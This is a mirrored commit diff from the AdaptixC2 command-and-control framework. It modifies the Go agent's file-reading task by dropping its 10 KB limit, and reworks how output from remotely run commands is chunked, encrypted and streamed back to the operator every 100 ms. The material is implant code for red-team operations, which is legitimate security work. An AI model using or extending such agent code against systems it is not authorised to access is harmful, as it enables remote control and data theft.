mirror of
https://github.com/Adaptix-Framework/AdaptixC2
synced 2026-06-08 10:20:39 +00:00
Add files via upload
This commit is contained in:
@@ -1,7 +1,6 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/aes"
|
||||
@@ -156,14 +155,6 @@ func taskCat(paramsData []byte) ([]byte, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if fileInfo.Size() > 10*1024 {
|
||||
return nil, fmt.Errorf("file size exceeds 10 KB")
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -745,8 +736,6 @@ func jobRun(paramsData []byte) ([]byte, error) {
|
||||
var stderrMu sync.Mutex
|
||||
stdoutBuf := new(bytes.Buffer)
|
||||
stderrBuf := new(bytes.Buffer)
|
||||
stdoutScanner := bufio.NewScanner(stdoutPipe)
|
||||
stderrScanner := bufio.NewScanner(stderrPipe)
|
||||
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
@@ -837,48 +826,80 @@ func jobRun(paramsData []byte) ([]byte, error) {
|
||||
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for stdoutScanner.Scan() {
|
||||
stdoutMu.Lock()
|
||||
stdoutBuf.WriteString(stdoutScanner.Text() + "\n")
|
||||
stdoutMu.Unlock()
|
||||
buf := make([]byte, 2*1024)
|
||||
for {
|
||||
n, err := stdoutPipe.Read(buf)
|
||||
if n > 0 {
|
||||
stdoutMu.Lock()
|
||||
stdoutBuf.Write(buf[:n])
|
||||
stdoutMu.Unlock()
|
||||
}
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for stderrScanner.Scan() {
|
||||
stderrMu.Lock()
|
||||
stderrBuf.WriteString(stderrScanner.Text() + "\n")
|
||||
stderrMu.Unlock()
|
||||
buf := make([]byte, 2*1024)
|
||||
for {
|
||||
n, err := stderrPipe.Read(buf)
|
||||
if n > 0 {
|
||||
stderrMu.Lock()
|
||||
stderrBuf.Write(buf[:n])
|
||||
stderrMu.Unlock()
|
||||
}
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
done := make(chan struct{})
|
||||
var lastOutLen, lastErrLen int
|
||||
const maxChunkSize = 64 * 1024
|
||||
go func() {
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
ticker := time.NewTicker(100 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-done:
|
||||
return
|
||||
case <-ticker.C:
|
||||
|
||||
ansRun := utils.AnsRun{Pid: pid}
|
||||
|
||||
stdoutMu.Lock()
|
||||
out := stdoutBuf.String()
|
||||
stdoutMu.Unlock()
|
||||
if len(out) > lastOutLen {
|
||||
ansRun.Stdout = out[lastOutLen:]
|
||||
lastOutLen = len(out)
|
||||
chunk := out[lastOutLen:]
|
||||
if len(chunk) > maxChunkSize {
|
||||
ansRun.Stdout = chunk[:maxChunkSize]
|
||||
lastOutLen += maxChunkSize
|
||||
} else {
|
||||
ansRun.Stdout = chunk
|
||||
lastOutLen = len(out)
|
||||
}
|
||||
}
|
||||
|
||||
stderrMu.Lock()
|
||||
errOut := stderrBuf.String()
|
||||
stderrMu.Unlock()
|
||||
if len(errOut) > lastErrLen {
|
||||
ansRun.Stderr = errOut[lastErrLen:]
|
||||
lastErrLen = len(errOut)
|
||||
chunk := errOut[lastErrLen:]
|
||||
if len(chunk) > maxChunkSize {
|
||||
ansRun.Stderr = chunk[:maxChunkSize]
|
||||
lastErrLen += maxChunkSize
|
||||
} else {
|
||||
ansRun.Stderr = chunk
|
||||
lastErrLen = len(errOut)
|
||||
}
|
||||
}
|
||||
|
||||
if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 {
|
||||
@@ -903,22 +924,61 @@ func jobRun(paramsData []byte) ([]byte, error) {
|
||||
wg.Wait()
|
||||
close(done)
|
||||
|
||||
ansRun := utils.AnsRun{Pid: pid}
|
||||
if out := stdoutBuf.String(); len(out) > lastOutLen {
|
||||
ansRun.Stdout = out[lastOutLen:]
|
||||
stdoutMu.Lock()
|
||||
finalOut := stdoutBuf.String()
|
||||
stdoutMu.Unlock()
|
||||
stderrMu.Lock()
|
||||
finalErrOut := stderrBuf.String()
|
||||
stderrMu.Unlock()
|
||||
|
||||
for {
|
||||
ansRun := utils.AnsRun{Pid: pid}
|
||||
hasMore := false
|
||||
|
||||
if len(finalOut) > lastOutLen {
|
||||
chunk := finalOut[lastOutLen:]
|
||||
if len(chunk) > maxChunkSize {
|
||||
ansRun.Stdout = chunk[:maxChunkSize]
|
||||
lastOutLen += maxChunkSize
|
||||
hasMore = true
|
||||
} else {
|
||||
ansRun.Stdout = chunk
|
||||
lastOutLen = len(finalOut)
|
||||
}
|
||||
}
|
||||
|
||||
if len(finalErrOut) > lastErrLen {
|
||||
chunk := finalErrOut[lastErrLen:]
|
||||
if len(chunk) > maxChunkSize {
|
||||
ansRun.Stderr = chunk[:maxChunkSize]
|
||||
lastErrLen += maxChunkSize
|
||||
hasMore = true
|
||||
} else {
|
||||
ansRun.Stderr = chunk
|
||||
lastErrLen = len(finalErrOut)
|
||||
}
|
||||
}
|
||||
|
||||
if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 {
|
||||
job.Data, _ = msgpack.Marshal(ansRun)
|
||||
packedJob, _ = msgpack.Marshal(job)
|
||||
message = utils.Message{
|
||||
Type: 2,
|
||||
Object: [][]byte{packedJob},
|
||||
}
|
||||
sendData, _ = msgpack.Marshal(message)
|
||||
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
||||
functions.SendMsg(conn, sendData)
|
||||
|
||||
if hasMore {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
if !hasMore {
|
||||
break
|
||||
}
|
||||
}
|
||||
if errOut := stderrBuf.String(); len(errOut) > lastErrLen {
|
||||
ansRun.Stderr = errOut[lastErrLen:]
|
||||
}
|
||||
job.Data, _ = msgpack.Marshal(ansRun)
|
||||
packedJob, _ = msgpack.Marshal(job)
|
||||
message = utils.Message{
|
||||
Type: 2,
|
||||
Object: [][]byte{packedJob},
|
||||
}
|
||||
sendData, _ = msgpack.Marshal(message)
|
||||
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
||||
functions.SendMsg(conn, sendData)
|
||||
|
||||
/// FINISH
|
||||
|
||||
|
||||
Reference in New Issue
Block a user